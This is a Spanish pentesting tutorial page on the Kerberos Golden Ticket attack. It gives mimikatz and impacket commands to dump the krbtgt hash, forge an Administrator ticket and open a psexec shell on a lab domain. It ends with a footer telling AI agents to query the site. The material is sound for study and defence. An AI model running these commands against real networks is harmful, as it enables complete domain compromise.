# Golden Ticket

El "Golden Ticket Attack" es un término utilizado en ciberseguridad, específicamente en el contexto de la explotación de sistemas basados en el protocolo de autenticación Kerberos, comúnmente utilizado en entornos de red de Microsoft Windows.

En términos simples, un "Golden Ticket" es un token de autenticación falso que otorga al usuario que lo posee acceso total y privilegios administrativos sobre el dominio de Active Directory de una red de Windows. Este tipo de ataque se basa en la explotación de vulnerabilidades en la implementación de Kerberos y en la capacidad de los atacantes para comprometer las credenciales de administrador de dominio.

Cuando un atacante obtiene acceso a las credenciales de administrador de dominio o a la clave secreta de un controlador de dominio de Windows, puede generar un "Golden Ticket". Este ticket tiene un período de validez muy largo (generalmente 10 años), lo que permite al atacante acceder a cualquier recurso dentro del dominio de Windows, eludiendo así las medidas de seguridad normales.

El "Golden Ticket Attack" es extremadamente peligroso porque, una vez que el atacante ha generado un ticket dorado, esencialmente tiene control total sobre el dominio de Windows, pudiendo acceder a cualquier recurso y comprometer aún más la seguridad de la red sin ser detectado fácilmente.

### Ejecución del ataque desde Linux

Para realizar este ataque necesitamos el SID y el NT hash del usuario `krbtgt`. Estos los podemos conseguir con `mimikatz` con el comando `lsadump::lsa /inject /name:krbtgt`. Ahora usamos `impacket-ticketer` para obtener un archivo `.ccache`, el cuál luego exportaremos como variable `KRB5CCNAME`:

```bash
impacket-ticketer -nthash 029fe57163a12444aafeb80c83cf9134 -domain-sid S-1-5-21-3492974850-3977154165-1802910921 -domain MARVEL.local -user-id 500 Administrator
```

Esto nos generará un archivo `.ccache`, el cuál exportamos:

```bash
export KRB5CCNAME=/home/d4redevil/AD/goldenTicket/Administrator.ccache
```

Ahora, si hemos impersonado al usuario Administrator, usamos `impacket-psexec` para conectarnos:

```bash
impacket-psexec -n -k MARVEL.local/Administrator@172.16.0.1
```

### Ejecución del ataque desde Windows

Extracción del hash NTLM de la contraseña de la cuenta `krbtgt`:

```powershell
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F8xZ02nl4AMJjQyt1eeoJ%2Fmimikatz-golden-ticket-1.png?alt=media&#x26;token=7951f3d2-abde-4377-868f-2ce31dfbbe1b" alt=""><figcaption></figcaption></figure>

Creación de un ticket dorado falsificado que se inyecta automáticamente en la memoria de la sesión de inicio de sesión actual:

```powershell
mimikatz # kerberos::golden /domain:MARVEL.local /sid:S-1-5-21-3492974850-3977154165-1802910921 /krbtgt:029fe57163a12444aafeb80c83cf9134 /user:Administrator /id:500 /ptt
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1woSRnX81TzCuVqykYBW%2Fmimikatz-golden-ticket-2.png?alt=media&#x26;token=2d95604b-4722-4808-ba7c-033034ea4793" alt=""><figcaption></figcaption></figure>

Comprobamos que el ticket fue creado usando `klist`:

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fq0pfBapCRHPDt4Rlrnn1%2Fmimikatz-golden-ticket-3.png?alt=media&#x26;token=c5b2be18-ec83-4d8d-ad98-e22e986f92da" alt=""><figcaption></figcaption></figure>

Abrir otra consola powershell y montamos un recurso compartido, por ejemplo `\\PC-02\C$`:

```powershell
pushd \\PC-02\C$
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FxGCA7GFX1a6kmb2F9nen%2Fmimikatz-golden-ticket-4.png?alt=media&#x26;token=920006b6-bb62-47cd-9761-c4357712baf7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/golden-ticket.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
